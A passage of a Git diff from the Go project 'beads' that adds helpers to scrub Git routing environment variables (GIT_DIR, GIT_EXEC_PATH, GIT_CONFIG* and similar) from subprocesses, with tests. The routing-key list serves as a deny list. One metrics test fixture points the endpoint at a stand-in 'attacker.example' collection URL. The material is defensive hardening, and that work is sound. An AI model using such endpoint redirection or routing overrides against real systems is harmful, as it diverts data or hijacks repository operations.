cmd.Dir = dir + cmd.Env = gitenv.ScrubRouting(os.Environ()) + if output, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("git %v in %s: %v\n%s", args, dir, err, output) + } +} diff --git a/internal/config/worktree_config_test.go b/internal/config/worktree_config_test.go index 892a9adb8..8cef7aa60 100644 --- a/internal/config/worktree_config_test.go +++ b/internal/config/worktree_config_test.go @@ -287,6 +287,36 @@ func TestWorktreeFallbackConfigPath(t *testing.T) { }) } +func TestWorktreeFallbackConfigPathIgnoresInheritedGitRouting(t *testing.T) { + _, worktreeDir, want := setupConfigWorktree(t) + + decoyRepo := filepath.Join(t.TempDir(), "decoy") + if err := os.MkdirAll(decoyRepo, 0o755); err != nil { + t.Fatal(err) + } + command := exec.Command("git", "init", "--quiet") + command.Dir = decoyRepo + if output, err := command.CombinedOutput(); err != nil { + t.Fatalf("initialize decoy repository: %v\n%s", err, output) + } + t.Setenv("GIT_DIR", filepath.Join(decoyRepo, ".git")) + t.Setenv("GIT_WORK_TREE", decoyRepo) + t.Setenv("GIT_COMMON_DIR", filepath.Join(decoyRepo, ".git")) + + got := worktreeFallbackConfigPath(worktreeDir) + gotResolved, err := filepath.EvalSymlinks(filepath.Clean(got)) + if err != nil { + t.Fatalf("EvalSymlinks(%q): %v", got, err) + } + wantResolved, err := filepath.EvalSymlinks(filepath.Clean(want)) + if err != nil { + t.Fatalf("EvalSymlinks(%q): %v", want, err) + } + if gotResolved != wantResolved { + t.Fatalf("worktreeFallbackConfigPath() = %q, want target repository config %q", gotResolved, wantResolved) + } +} + func TestGitDirsForRepo_NonGitRepo(t *testing.T) { if gitDir, commonDir, ok := gitDirsForRepo(t.TempDir()); ok || gitDir != "" || commonDir != "" { t.Fatalf("gitDirsForRepo(non-git) = (%q, %q, %v), want empty paths and false", gitDir, commonDir, ok) diff --git a/internal/config/yaml_config.go b/internal/config/yaml_config.go index ed40e1f4e..b6d752cf3 100644 --- a/internal/config/yaml_config.go +++ b/internal/config/yaml_config.go @@ -10,6 +10,7 @@ import ( "strconv" "strings" + "github.com/steveyegge/beads/internal/gitenv" "gopkg.in/yaml.v3" ) @@ -178,14 +179,35 @@ func IsSecretKey(key string) bool { return false } -// isGitTracked returns true if the file at path is tracked by git -// (i.e., has been git-added). Uses `git ls-files --error-unmatch`. +// isGitTracked reports whether either the containing repository or the +// inherited Git context tracks the file at path (i.e., it has been git-added). +// Uses `git ls-files --error-unmatch`. If neither probe succeeds, errors count +// as untracked — the secret guard only blocks writes it can prove are unsafe. +// +// The containing repository is probed first so inherited routing cannot hide a +// tracked file. Exit 1 is git's "repository reached, path is not tracked" +// answer and is final; any other failure means the scrubbed environment +// reached no repository at all — as for a bare repository whose work tree is +// named only by GIT_DIR/GIT_WORK_TREE — so the inherited context is consulted +// before declaring the file untracked. Mirrors isGitTrackedFile in cmd/bd. func isGitTracked(path string) bool { - cmd := exec.Command("git", "ls-files", "--error-unmatch", path) - cmd.Dir = filepath.Dir(path) - cmd.Stdout = nil - cmd.Stderr = nil - return cmd.Run() == nil + dir := filepath.Dir(path) + inherited := os.Environ() + for _, env := range [][]string{gitenv.ScrubRouting(inherited), inherited} { + cmd := exec.Command("git", "ls-files", "--error-unmatch", path) + cmd.Dir = dir + cmd.Env = env + cmd.Stdout = nil + cmd.Stderr = nil + err := cmd.Run() + if err == nil { + return true + } + if exit, ok := err.(*exec.ExitError); ok && exit.ExitCode() == 1 { + return false + } + } + return false } var secretKeyEnvVarHints = map[string]string{ //nolint:gosec // Values are environment variable names, not credentials. diff --git a/internal/execenv/execenv.go b/internal/execenv/execenv.go new file mode 100644 index 000000000..1f50bb8ed --- /dev/null +++ b/internal/execenv/execenv.go @@ -0,0 +1,155 @@ +// Package execenv provides helpers for constructing explicit subprocess +// environments with the same key identity rules as os/exec. +package execenv + +import ( + "runtime" + "strings" +) + +// A single host seam lets package tests exercise the exported wrappers for +// both key policies without changing the process environment. +// Process-wide seam: tests that swap it must not run in parallel. +var hostOS = runtime.GOOS + +// KeyIdentityForOS returns the key identity used by os/exec on goos. Callers +// doing repeated membership checks can normalize once; POSIX keys stay exact. +func KeyIdentityForOS(key, goos string) string { + return keyIdentityForWindows(key, goos == "windows") +} + +// KeyEqual reports whether left and right identify the same environment key +// for a subprocess on the current host. Windows keys are case-insensitive; +// keys on other hosts are exact. +func KeyEqual(left, right string) bool { + return KeyEqualForOS(left, right, hostOS) +} + +// KeyEqualForOS compares environment keys using goos subprocess semantics. +func KeyEqualForOS(left, right, goos string) bool { + return keyEqualForWindows(left, right, goos == "windows") +} + +// KeyHasPrefixForOS compares a key, rather than an environment entry, with a +// prefix using goos subprocess semantics. Valueless-entry policy belongs to +// the caller. +func KeyHasPrefixForOS(key, prefix, goos string) bool { + windows := goos == "windows" + return strings.HasPrefix(keyIdentityForWindows(key, windows), keyIdentityForWindows(prefix, windows)) +} + +func keyEqualForWindows(left, right string, windows bool) bool { + return keyIdentityForWindows(left, windows) == keyIdentityForWindows(right, windows) +} + +// ContainsKeyWithPrefix reports whether env contains a key beginning with one +// of prefixes, using the current host's environment-key semantics. +func ContainsKeyWithPrefix(env []string, prefixes ...string) bool { + return containsKeyWithPrefixForWindows(env, hostOS == "windows", prefixes...) +} + +func containsKeyWithPrefixForWindows(env []string, windows bool, prefixes ...string) bool { + identities := make([]string, len(prefixes)) + for i, prefix := range prefixes { + identities[i] = keyIdentityForWindows(prefix, windows) + } + for _, entry := range env { + key, _, ok := split(entry) + if !ok { + continue + } + key = keyIdentityForWindows(key, windows) + for _, prefix := range identities { + if strings.HasPrefix(key, prefix) { + return true + } + } + } + return false +} + +// Lookup returns the last value for key in env, matching os/exec's last-wins +// handling of duplicate effective keys. +func Lookup(env []string, key string) (string, bool) { + return lookupForWindows(env, key, hostOS == "windows") +} + +func lookupForWindows(env []string, key string, windows bool) (string, bool) { + wanted := keyIdentityForWindows(key, windows) + var value string + var found bool + for _, entry := range env { + entryKey, entryValue, ok := split(entry) + if ok && keyIdentityForWindows(entryKey, windows) == wanted { + value, found = entryValue, true + } + } + return value, found +} + +// Without returns a copy of env without entries matching keys. Unrelated +// duplicates, malformed entries, and Windows drive pseudo-variables are +// preserved in their original order. The input slice is not modified. +func Without(env []string, keys ...string) []string { + return WithoutForOS(env, hostOS, keys...) +} + +// WithoutForOS is Without with explicit goos environment-key semantics. +func WithoutForOS(env []string, goos string, keys ...string) []string { + return withoutForWindows(env, goos == "windows", keys...) +} + +func withoutForWindows(env []string, windows bool, keys ...string) []string { + drop := make(map[string]struct{}, len(keys)) + for _, key := range keys { + drop[keyIdentityForWindows(key, windows)] = struct{}{} + } + + out := make([]string, 0, len(env)) + for _, entry := range env { + key, _, ok := split(entry) + if ok { + if _, remove := drop[keyIdentityForWindows(key, windows)]; remove { + continue + } + } + out = append(out, entry) + } + return out +} + +// keyIdentityForWindows mirrors the key normalization in os/exec.dedupEnvCase. +// strings.ToLower is intentional: EqualFold would collapse Unicode +// near-collisions such as s and ſ that os/exec keeps distinct. +func keyIdentityForWindows(key string, windows bool) string { + if windows { + return strings.ToLower(key) + } + return key +} + +// EntryKey returns an entry's key using the same split rule as os/exec, +// including drive pseudo-variables. A bare entry is returned unchanged so +// callers retain authority over their valueless-entry policy. +func EntryKey(entry string) string { + if key, _, ok := split(entry); ok { + return key + } + return entry +} + +// split mirrors os/exec's handling of Windows drive pseudo-variables such as +// =C:=C:\work, whose key includes the leading equals sign. +func split(entry string) (key, value string, ok bool) { + separator := strings.IndexByte(entry, '=') + if separator == 0 { + next := strings.IndexByte(entry[1:], '=') + if next >= 0 { + separator = next + 1 + } + } + if separator < 0 { + return "", "", false + } + return entry[:separator], entry[separator+1:], true +} diff --git a/internal/execenv/execenv_test.go b/internal/execenv/execenv_test.go new file mode 100644 index 000000000..51cb1acf8 --- /dev/null +++ b/internal/execenv/execenv_test.go @@ -0,0 +1,193 @@ +package execenv + +import ( + "runtime" + "slices" + "testing" +) + +func TestKeyIdentityForWindows(t *testing.T) { + tests := []struct { + name string + key string + windows bool + want string + }{ + {name: "Unix stays exact", key: "BeAdS_DiR", want: "BeAdS_DiR"}, + {name: "Windows lowercases", key: "BeAdS_DiR", windows: true, want: "beads_dir"}, + {name: "Windows keeps long s distinct", key: "BEADſ_DIR", windows: true, want: "beadſ_dir"}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + goos := "linux" + if tt.windows { + goos = "windows" + } + if got := KeyIdentityForOS(tt.key, goos); got != tt.want { + t.Errorf("KeyIdentityForOS(%q, %q) = %q, want %q", tt.key, goos, got, tt.want) + } + }) + } +} + +func TestEntryKey(t *testing.T) { + for _, tc := range []struct{ entry, want string }{ + {"NAME=value=with=equals", "NAME"}, + {"NAME=", "NAME"}, + {"GIT_CONFIG_COUNT", "GIT_CONFIG_COUNT"}, + {"GIT_DIR", "GIT_DIR"}, + {"", ""}, + {`=C:=C:\work`, "=C:"}, + {"=leading", ""}, + } { + t.Run(tc.entry, func(t *testing.T) { + if got := EntryKey(tc.entry); got != tc.want { + t.Errorf("EntryKey(%q) = %q, want %q", tc.entry, got, tc.want) + } + }) + } +} + +func TestKeyEqualUsesHostSemantics(t *testing.T) { + if got, want := KeyEqual("BeAdS_DiR", "BEADS_DIR"), runtime.GOOS == "windows"; got != want { + t.Errorf("KeyEqual mixed-case = %v, want %v on %s", got, want, runtime.GOOS) + } + if KeyEqual("BEADſ_DIR", "BEADS_DIR") { + t.Error("KeyEqual merged Unicode long s with ASCII s") + } +} + +func TestEnvironmentOperationsForBothHosts(t *testing.T) { + for _, tc := range []struct { + name string + windows bool + }{ + {name: "Unix"}, + {name: "Windows", windows: true}, + } { + t.Run(tc.name, func(t *testing.T) { + previousHost := hostOS + hostOS = "linux" + if tc.windows { + hostOS = "windows" + } + t.Cleanup(func() { hostOS = previousHost }) + // Exercise all four exported host wrappers, so hardwiring one to + // POSIX semantics is falsifiable even when this test runs on Linux. + env := []string{"MIXED=canonical-first", "mixed=lower-last", "KEEP=first", "KEEP=second", "MALFORMED", `=C:=C:\work`, "MIXEſ=near-collision"} + original := slices.Clone(env) + if got := KeyEqual("MIXED", "mixed"); got != tc.windows { + t.Errorf("mixed-case equality = %v", got) + } + if KeyEqual("MIXEſ", "MIXES") { + t.Error("equality merged the Unicode near-collision") + } + wantValue := "canonical-first" + wantWithout := []string{"KEEP=first", "KEEP=second", "MALFORMED", `=C:=C:\work`, "MIXEſ=near-collision"} + if tc.windows { + wantValue = "lower-last" + } else { + wantWithout = append([]string{"mixed=lower-last"}, wantWithout...) + } + if value, ok := Lookup(env, "MIXED"); !ok || value != wantValue { + t.Errorf("lookup = %q, %v, want %q, true", value, ok, wantValue) + } + if value, ok := Lookup(env, "=C:"); !ok || value != `C:\work` { + t.Errorf("drive lookup = %q, %v", value, ok) + } + if got := ContainsKeyWithPrefix(env, "miX"); got != tc.windows { + t.Errorf("mixed-case prefix = %v", got) + } + if got := KeyHasPrefixForOS("MIXED", "miX", hostOS); got != tc.windows { + t.Errorf("explicit key prefix = %v", got) + } + if got := Without(env, "MIXED"); !slices.Equal(got, wantWithout) { + t.Errorf("without = %q, want %q", got, wantWithout) + } + if !slices.Equal(env, original) { + t.Errorf("input mutated: %q", env) + } + }) + } +} + +func TestWithoutUsesHostSemanticsAndPreservesOtherEntries(t *testing.T) { + in := []string{ + "FIRST=keep-first", + "beads_dir=drop-on-windows", + "BEADS_DIR=drop-canonical", + "ALLOWED=keep-duplicate-first", + "MALFORMED", + "BEADſ_DIR=keep-unicode-near-collision", + "ALLOWED=keep-duplicate-second", + `=C:=C:\work`, + "LAST=keep-last", + } + original := slices.Clone(in) + + got := Without(in, "BEADS_DIR") + want := []string{ + "FIRST=keep-first", + "beads_dir=drop-on-windows", + "ALLOWED=keep-duplicate-first", + "MALFORMED", + "BEADſ_DIR=keep-unicode-near-collision", + "ALLOWED=keep-duplicate-second", + `=C:=C:\work`, + "LAST=keep-last", + } + if runtime.GOOS == "windows" { + want = slices.Delete(want, 1, 2) + } + if !slices.Equal(got, want) { + t.Fatalf("Without() = %q, want %q on %s", got, want, runtime.GOOS) + } + if !slices.Equal(in, original) { + t.Fatalf("Without modified input: got %q, want %q", in, original) + } +} + +func TestLookupUsesLastEffectiveValue(t *testing.T) { + env := []string{ + "TARGET=first", + "target=mixed-case", + "TARGET=last", + "MALFORMED", + `=C:=C:\work`, + } + value, ok := Lookup(env, "TARGET") + if !ok || value != "last" { + t.Fatalf("Lookup(TARGET) = %q, %v; want last, true", value, ok) + } + if value, ok := Lookup(env, "target"); runtime.GOOS == "windows" { + if !ok || value != "last" { + t.Fatalf("Lookup(target) = %q, %v; want last, true on Windows", value, ok) + } + } else if !ok || value != "mixed-case" { + t.Fatalf("Lookup(target) = %q, %v; want mixed-case, true on %s", value, ok, runtime.GOOS) + } + if value, ok := Lookup(env, "MISSING"); ok || value != "" { + t.Fatalf("Lookup(MISSING) = %q, %v; want empty, false", value, ok) + } + if value, ok := Lookup(env, "=C:"); !ok || value != `C:\work` { + t.Fatalf("Lookup(=C:) = %q, %v; want %q, true", value, ok, `C:\work`) + } +} + +func TestContainsKeyWithPrefixUsesKeyIdentity(t *testing.T) { + env := []string{ + "MALFORMED", + `=C:=C:\work`, + "dolt_remote_password=secret", + "DOLT_REMOTEſ_PASSWORD=near-collision", + } + if got, want := ContainsKeyWithPrefix(env, "DOLT_REMOTE_"), runtime.GOOS == "windows"; got != want { + t.Errorf("ContainsKeyWithPrefix mixed-case = %v, want %v on %s", got, want, runtime.GOOS) + } + if ContainsKeyWithPrefix([]string{"DOLT_REMOTEſ_PASSWORD=secret"}, "DOLT_REMOTES_") { + t.Error("ContainsKeyWithPrefix merged Unicode long s with ASCII s") + } + if ContainsKeyWithPrefix([]string{"DOLT_REMOTE_PASSWORD", `=C:=C:\work`}, "DOLT_REMOTE_") { + t.Error("ContainsKeyWithPrefix treated a malformed or drive entry as a matching key-value entry") + } +} diff --git a/internal/gitenv/routing.go b/internal/gitenv/routing.go new file mode 100644 index 000000000..5864fd052 --- /dev/null +++ b/internal/gitenv/routing.go @@ -0,0 +1,107 @@ +// Package gitenv defines Git environment boundaries shared by command and +// startup discovery code. +package gitenv + +import ( + "fmt" + "os" + "runtime" + "strings" + + "github.com/steveyegge/beads/internal/execenv" +) + +var routingKeys = map[string]struct{}{ + "GIT_ALTERNATE_OBJECT_DIRECTORIES": {}, + "GIT_CEILING_DIRECTORIES": {}, + "GIT_COMMON_DIR": {}, + "GIT_DIR": {}, + "GIT_DISCOVERY_ACROSS_FILESYSTEM": {}, + "GIT_EXEC_PATH": {}, + "GIT_GRAFT_FILE": {}, + "GIT_IMPLICIT_WORK_TREE": {}, + "GIT_INDEX_FILE": {}, + "GIT_INTERNAL_SUPER_PREFIX": {}, + "GIT_NAMESPACE": {}, + "GIT_OBJECT_DIRECTORY": {}, + "GIT_PREFIX": {}, + "GIT_QUARANTINE_PATH": {}, + "GIT_REPLACE_REF_BASE": {}, + "GIT_SHALLOW_FILE": {}, + "GIT_SUPER_PREFIX": {}, + "GIT_TEMPLATE_DIR": {}, + "GIT_WORK_TREE": {}, +} + +// Derive Windows membership once from the canonical routing-key set. +var windowsRoutingKeys = func() map[string]struct{} { + keys := make(map[string]struct{}, len(routingKeys)) + for key := range routingKeys { + keys[execenv.KeyIdentityForOS(key, "windows")] = struct{}{} + } + return keys +}() + +var windowsConfigPrefix = execenv.KeyIdentityForOS("GIT_CONFIG", "windows") + +// EntryKey returns the key portion using the shared subprocess split rule. +func EntryKey(entry string) string { + return execenv.EntryKey(entry) +} + +// IsRoutingKeyForOS reports whether key can redirect Git away from an explicit +// working directory or alter its repository, index, object, namespace, +// executable, template, or config authority. Environment names follow host +// semantics: byte-exact on POSIX and case-insensitive on Windows. +func IsRoutingKeyForOS(key, goos string) bool { + keys := routingKeys + prefix := "GIT_CONFIG" + if goos == "windows" { + keys = windowsRoutingKeys + prefix = windowsConfigPrefix + } + key = execenv.KeyIdentityForOS(key, goos) + if strings.HasPrefix(key, prefix) { + return true + } + _, routing := keys[key] + return routing +} + +// ScrubRouting removes Git routing entries using the current host's +// environment-key semantics. +func ScrubRouting(env []string) []string { + return ScrubRoutingForOS(env, runtime.GOOS) +} + +// ScrubRoutingForOS removes Git routing entries using goos environment-key +// semantics. It preserves non-routing controls such as GIT_OPTIONAL_LOCKS and +// GIT_NO_REPLACE_OBJECTS. +func ScrubRoutingForOS(env []string, goos string) []string { + cleaned := make([]string, 0, len(env)) + for _, entry := range env { + if IsRoutingKeyForOS(EntryKey(entry), goos) { + continue + } + cleaned = append(cleaned, entry) + } + return cleaned +} + +// ClearRouting permanently removes Git routing entries from the current +// process. CLI callers use it as a command-lifetime authority boundary. It +// reports whether any entry was removed. +func ClearRouting() (bool, error) { + removed := false + for _, entry := range os.Environ() { + key := EntryKey(entry) + if !IsRoutingKeyForOS(key, runtime.GOOS) { + continue + } + if err := os.Unsetenv(key); err != nil { + return removed, fmt.Errorf("unset %s: %w", key, err) + } + removed = true + } + return removed, nil +} diff --git a/internal/gitenv/routing_test.go b/internal/gitenv/routing_test.go new file mode 100644 index 000000000..84e006a50 --- /dev/null +++ b/internal/gitenv/routing_test.go @@ -0,0 +1,174 @@ +package gitenv + +import ( + "os" + "reflect" + "runtime" + "testing" +) + +func TestScrubRoutingForOSUsesHostKeySemantics(t *testing.T) { + input := []string{ + "PATH=/trusted/bin", + "HOME=/home/test", + "GIT_AUTHOR_NAME=Test User", + "GIT_DIR=/wrong", + "git_work_tree=/wrong-case", + "GIT_CONFIG_COUNT=1", + "GIT_CONFIG_KEY_0=core.worktree", + "git_config_value_0=/wrong-case", + "GIT_OBJECT_DIRECTORY=/wrong-objects", + "GIT_EXEC_PATH=/wrong-exec", + "GIT_NO_REPLACE_OBJECTS=1", + "GIT_OPTIONAL_LOCKS=1", + } + + for _, test := range []struct { + name string + goos string + want []string + }{ + { + name: "POSIX names are case-sensitive", + goos: "linux", + want: []string{"PATH=/trusted/bin", "HOME=/home/test", "GIT_AUTHOR_NAME=Test User", "git_work_tree=/wrong-case", "git_config_value_0=/wrong-case", "GIT_NO_REPLACE_OBJECTS=1", "GIT_OPTIONAL_LOCKS=1"}, + }, + { + name: "Windows names are case-insensitive", + goos: "windows", + want: []string{"PATH=/trusted/bin", "HOME=/home/test", "GIT_AUTHOR_NAME=Test User", "GIT_NO_REPLACE_OBJECTS=1", "GIT_OPTIONAL_LOCKS=1"}, + }, + } { + t.Run(test.name, func(t *testing.T) { + if got := ScrubRoutingForOS(input, test.goos); !reflect.DeepEqual(got, test.want) { + t.Fatalf("ScrubRoutingForOS() = %#v, want %#v", got, test.want) + } + }) + } +} + +func TestRoutingUnicodeKeysFollowSubprocessIdentity(t *testing.T) { + for _, goos := range []string{"linux", "windows"} { + for _, tc := range []struct { + key string + unix, windows bool + }{ + {"GIT_DIR", true, true}, + {"GIT_CONFIG_COUNT", true, true}, + {"git_dir", false, true}, + {"GİT_DİR", false, true}, + {"GIT_WORK_TREE", false, true}, + {"gİt_config_count", false, true}, + {"GIT_ſHALLOW_FILE", false, false}, + {"GıT_DIR", false, false}, + } { + t.Run(goos+"/"+tc.key, func(t *testing.T) { + input := []string{tc.key + "=value", "KEEP=first", "KEEP=second", `=C:=C:\work`} + blocked := tc.unix + if goos == "windows" { + blocked = tc.windows + } + want := input + if blocked { + want = input[1:] + } + if got := ScrubRoutingForOS(input, goos); !reflect.DeepEqual(got, want) { + t.Fatalf("routing environment = %q, want %q", got, want) + } + }) + } + } +} + +func TestEntryKeyUsesSharedSplit(t *testing.T) { + for _, tc := range []struct{ entry, want string }{ + {"KEEP=value=more", "KEEP"}, + {`=C:=C:\work`, "=C:"}, + {"GIT_CONFIG", "GIT_CONFIG"}, + {"", ""}, + } { + if got := EntryKey(tc.entry); got != tc.want { + t.Errorf("EntryKey(%q) = %q, want %q", tc.entry, got, tc.want) + } + } +} + +func TestScrubRoutingUsesHostKeySemantics(t *testing.T) { + input := []string{ + "GIT_DIR=canonical", "git_dir=mixed", "GİT_DİR=conservative", + "GIT_WORK_TREE=lookup-alias", "gİt_config_count=conservative", + "GıT_DIR=distinct", "GIT_ſHALLOW_FILE=distinct", "GIT_CONFIG", + "KEEP=first", "KEEP=second", "KEEP=GIT_DIR=value", + "GIT_OPTIONAL_LOCKS=1", "GIT_NO_REPLACE_OBJECTS=1", "MALFORMED", `=C:=C:\work`, + } + original := append([]string(nil), input...) + want := []string{ + "GıT_DIR=distinct", "GIT_ſHALLOW_FILE=distinct", + "KEEP=first", "KEEP=second", "KEEP=GIT_DIR=value", + "GIT_OPTIONAL_LOCKS=1", "GIT_NO_REPLACE_OBJECTS=1", "MALFORMED", `=C:=C:\work`, + } + if runtime.GOOS != "windows" { + want = append([]string{"git_dir=mixed", "GİT_DİR=conservative", + "GIT_WORK_TREE=lookup-alias", "gİt_config_count=conservative"}, want...) + } + if got := ScrubRouting(input); !reflect.DeepEqual(got, want) { + t.Fatalf("native routing environment = %q, want %q", got, want) + } + if !reflect.DeepEqual(input, original) { + t.Fatalf("input environment mutated: %q", input) + } +} + +func TestClearRoutingPreservesNonRoutingGitControls(t *testing.T) { + type envEntry struct { + key string + value string + } + var inherited []envEntry + for _, entry := range os.Environ() { + key := EntryKey(entry) + if !IsRoutingKeyForOS(key, runtime.GOOS) { + continue + } + value, _ := os.LookupEnv(key) + inherited = append(inherited, envEntry{key: key, value: value}) + } + t.Cleanup(func() { + for _, entry := range os.Environ() { + key := EntryKey(entry) + if IsRoutingKeyForOS(key, runtime.GOOS) { + if err := os.Unsetenv(key); err != nil { + t.Errorf("unset %s during cleanup: %v", key, err) + } + } + } + for _, entry := range inherited { + if err := os.Setenv(entry.key, entry.value); err != nil { + t.Errorf("restore %s during cleanup: %v", entry.key, err) + } + } + }) + + t.Setenv("GIT_DIR", "/wrong") + t.Setenv("GIT_CONFIG_COUNT", "1") + t.Setenv("GIT_OPTIONAL_LOCKS", "1") + t.Setenv("GIT_NO_REPLACE_OBJECTS", "1") + + removed, err := ClearRouting() + if err != nil { + t.Fatal(err) + } + if !removed { + t.Fatal("ClearRouting() did not report removing routing entries") + } + for _, key := range []string{"GIT_DIR", "GIT_CONFIG_COUNT"} { + if _, ok := os.LookupEnv(key); ok { + t.Fatalf("%s remains set", key) + } + } + for _, key := range []string{"GIT_OPTIONAL_LOCKS", "GIT_NO_REPLACE_OBJECTS"} { + if value := os.Getenv(key); value != "1" { + t.Fatalf("%s = %q, want 1", key, value) + } + } +} diff --git a/internal/githooksenv/githooksenv.go b/internal/githooksenv/githooksenv.go index 1af5351b7..2f23f118f 100644 --- a/internal/githooksenv/githooksenv.go +++ b/internal/githooksenv/githooksenv.go @@ -19,8 +19,9 @@ package githooksenv import ( "os" - "strings" "sync" + + "github.com/steveyegge/beads/internal/execenv" ) // ParametersEnv is git's environment variable for injecting one-off config @@ -45,14 +46,8 @@ func AppendParameter(existing, param string) string { // Extract returns the GIT_CONFIG_PARAMETERS value from an environment slice, // using exec's last-wins semantics for duplicate keys. func Extract(env []string) string { - prefix := ParametersEnv + "=" - var val string - for _, e := range env { - if v, ok := strings.CutPrefix(e, prefix); ok { - val = v - } - } - return val + value, _ := execenv.Lookup(env, ParametersEnv) + return value } // DisabledEnv returns env with git client-side hooks disabled, for callers @@ -61,14 +56,8 @@ func Extract(env []string) string { // with the no-hooks override appended. The input slice is not modified. func DisabledEnv(env []string) []string { merged := AppendParameter(Extract(env), NoHooksParam) - prefix := ParametersEnv + "=" - out := make([]string, 0, len(env)+1) - for _, e := range env { - if !strings.HasPrefix(e, prefix) { - out = append(out, e) - } - } - return append(out, prefix+merged) + out := execenv.Without(env, ParametersEnv) + return append(out, ParametersEnv+"="+merged) } // Process-environment state for WithDisabled. A refcount rather than a plain diff --git a/internal/githooksenv/githooksenv_test.go b/internal/githooksenv/githooksenv_test.go index 437985b39..57b164a2a 100644 --- a/internal/githooksenv/githooksenv_test.go +++ b/internal/githooksenv/githooksenv_test.go @@ -2,6 +2,7 @@ package githooksenv import ( "os" + "runtime" "slices" "testing" ) @@ -37,6 +38,37 @@ func TestDisabledEnv(t *testing.T) { } } +func TestDisabledEnvUsesHostKeySemantics(t *testing.T) { + nearCollision := "GIT_CONFIG_PARAMETERſ='near=3'" + in := []string{ + ParametersEnv + "='canonical=1'", + "git_config_parameters='mixed=2'", + nearCollision, + "MALFORMED", + `=C:=C:\work`, + } + + got := DisabledEnv(in) + want := []string{ + "git_config_parameters='mixed=2'", + nearCollision, + "MALFORMED", + `=C:=C:\work`, + ParametersEnv + "='canonical=1' " + NoHooksParam, + } + if runtime.GOOS == "windows" { + want = []string{ + nearCollision, + "MALFORMED", + `=C:=C:\work`, + ParametersEnv + "='mixed=2' " + NoHooksParam, + } + } + if !slices.Equal(got, want) { + t.Fatalf("DisabledEnv() = %q, want %q on %s", got, want, runtime.GOOS) + } +} + func TestAppendParameter(t *testing.T) { tests := []struct { name string diff --git a/internal/gittraceenv/gittraceenv.go b/internal/gittraceenv/gittraceenv.go index 6ee3af5c4..a1cb20f60 100644 --- a/internal/gittraceenv/gittraceenv.go +++ b/internal/gittraceenv/gittraceenv.go @@ -36,6 +36,8 @@ import ( "runtime" "strings" "sync" + + "github.com/steveyegge/beads/internal/execenv" ) // pathCapableVars are git tracing variables that accept a file target (an @@ -100,15 +102,6 @@ func stderrDirected(name, value string) bool { return true } -// envNameEquals compares environment variable names: exact on POSIX, -// case-insensitive on Windows to match Win32 (and git's) env lookup. -func envNameEquals(a, b string) bool { - if runtime.GOOS == "windows" { - return strings.EqualFold(a, b) - } - return a == b -} - // Process-environment state for WithScrubbed. A refcount rather than a plain // mutex held across fn, for the same reason as githooksenv: remote operations // are network-bound and can take minutes, overlapping operations all want the @@ -183,12 +176,12 @@ func ScrubEnv(env []string) []string { func shouldScrub(name, value string) bool { for _, n := range alwaysStderrVars { - if envNameEquals(name, n) { + if execenv.KeyEqual(name, n) { return true } } for _, n := range pathCapableVars { - if envNameEquals(name, n) { + if execenv.KeyEqual(name, n) { return stderrDirected(n, value) } } diff --git a/internal/gittraceenv/gittraceenv_test.go b/internal/gittraceenv/gittraceenv_test.go index 6a99e8201..e0f115f4d 100644 --- a/internal/gittraceenv/gittraceenv_test.go +++ b/internal/gittraceenv/gittraceenv_test.go @@ -180,6 +180,18 @@ func TestScrubEnvWindowsCaseInsensitiveNames(t *testing.T) { } } +func TestScrubEnvDoesNotEqualFoldUnicodeKeys(t *testing.T) { + // EqualFold considers the Unicode long s equivalent to ASCII s. os/exec's + // Windows key identity uses strings.ToLower and keeps them distinct. + // The required Windows helper lane runs this: restoring EqualFold cannot + // be detected by this test's POSIX execution alone. + nearCollision := "GIT_TRACE_ſETUP=1" + got := ScrubEnv([]string{nearCollision}) + if !slices.Equal(got, []string{nearCollision}) { + t.Fatalf("ScrubEnv() = %q, want Unicode near-collision preserved", got) + } +} + // Git on Windows treats a leading dir separator as absolute (is_dir_sep), so // a Git-Bash-style file target like /c/temp/git.trace never touches stderr // and must be kept, even though filepath.IsAbs rejects it. diff --git a/internal/metrics/metrics_test.go b/internal/metrics/metrics_test.go index 51e5736a0..50e8a8f57 100644 --- a/internal/metrics/metrics_test.go +++ b/internal/metrics/metrics_test.go @@ -4,6 +4,7 @@ import ( "context" "os" "path/filepath" + "runtime" "strings" "testing" "time" @@ -201,6 +202,36 @@ func TestFlusherChildEnvPinsSanctionedEndpoint(t *testing.T) { } } +func TestFlusherChildEnvUsesHostKeySemantics(t *testing.T) { + parent := []string{ + "beads_metrics_endpoint=https://attacker.example/collect", + "bd_is_flusher=stale", + "BEADſ_METRICS_ENDPOINT=near-collision", + "MALFORMED", + `=C:=C:\work`, + } + const sanctioned = "https://gastownhall-eventsapi.com/mp/collect" + + got := flusherChildEnv(parent, sanctioned) + for _, entry := range []string{"BEADſ_METRICS_ENDPOINT=near-collision", "MALFORMED", `=C:=C:\work`} { + if !envContains(got, entry) { + t.Errorf("flusherChildEnv dropped unrelated entry %q: %q", entry, got) + } + } + for _, entry := range []string{ + "beads_metrics_endpoint=https://attacker.example/collect", + "bd_is_flusher=stale", + } { + wantContains := runtime.GOOS != "windows" + if gotContains := envContains(got, entry); gotContains != wantContains { + t.Errorf("flusherChildEnv retained %q = %v, want %v on %s", entry, gotContains, wantContains, runtime.GOOS) + } + } + if !envContains(got, EnvEndpoint+"="+sanctioned) || !envContains(got, EnvIsFlusher+"=1") { + t.Errorf("flusherChildEnv did not append canonical values: %q", got) + } +} + // TestMaybeSpawnFlusherNoOpInsideFlusher guards the structural no-recursion // guard: a process already marked as the flusher must never spawn another one, // independent of send-metrics' os.Exit. diff --git a/internal/metrics/spawn.go b/internal/metrics/spawn.go index f8caf9fd2..afe7f925c 100644 --- a/internal/metrics/spawn.go +++ b/internal/metrics/spawn.go @@ -6,6 +6,8 @@ import ( "path/filepath" "strings" "time" + + "github.com/steveyegge/beads/internal/execenv" ) const SendMetricsSubcommand = "send-metrics" @@ -224,13 +226,7 @@ func startDetached(cmd *exec.Cmd) (int, error) { // so the detached flusher cannot be redirected by project-controlled // environment. func flusherChildEnv(env []string, endpoint string) []string { - out := make([]string, 0, len(env)+2) - for _, kv := range env { - if strings.HasPrefix(kv, EnvEndpoint+"=") || strings.HasPrefix(kv, EnvIsFlusher+"=") { - continue - } - out = append(out, kv) - } + out := execenv.Without(env, EnvEndpoint, EnvIsFlusher) if endpoint != "" { out = append(out, EnvEndpoint+"="+endpoint) } diff --git a/internal/storage/dolt/credentials.go b/internal/storage/dolt/credentials.go index 7a72a7f96..700e71c8a 100644 --- a/internal/storage/dolt/credentials.go +++ b/internal/storage/dolt/credentials.go @@ -17,6 +17,7 @@ import ( "strings" "sync" + 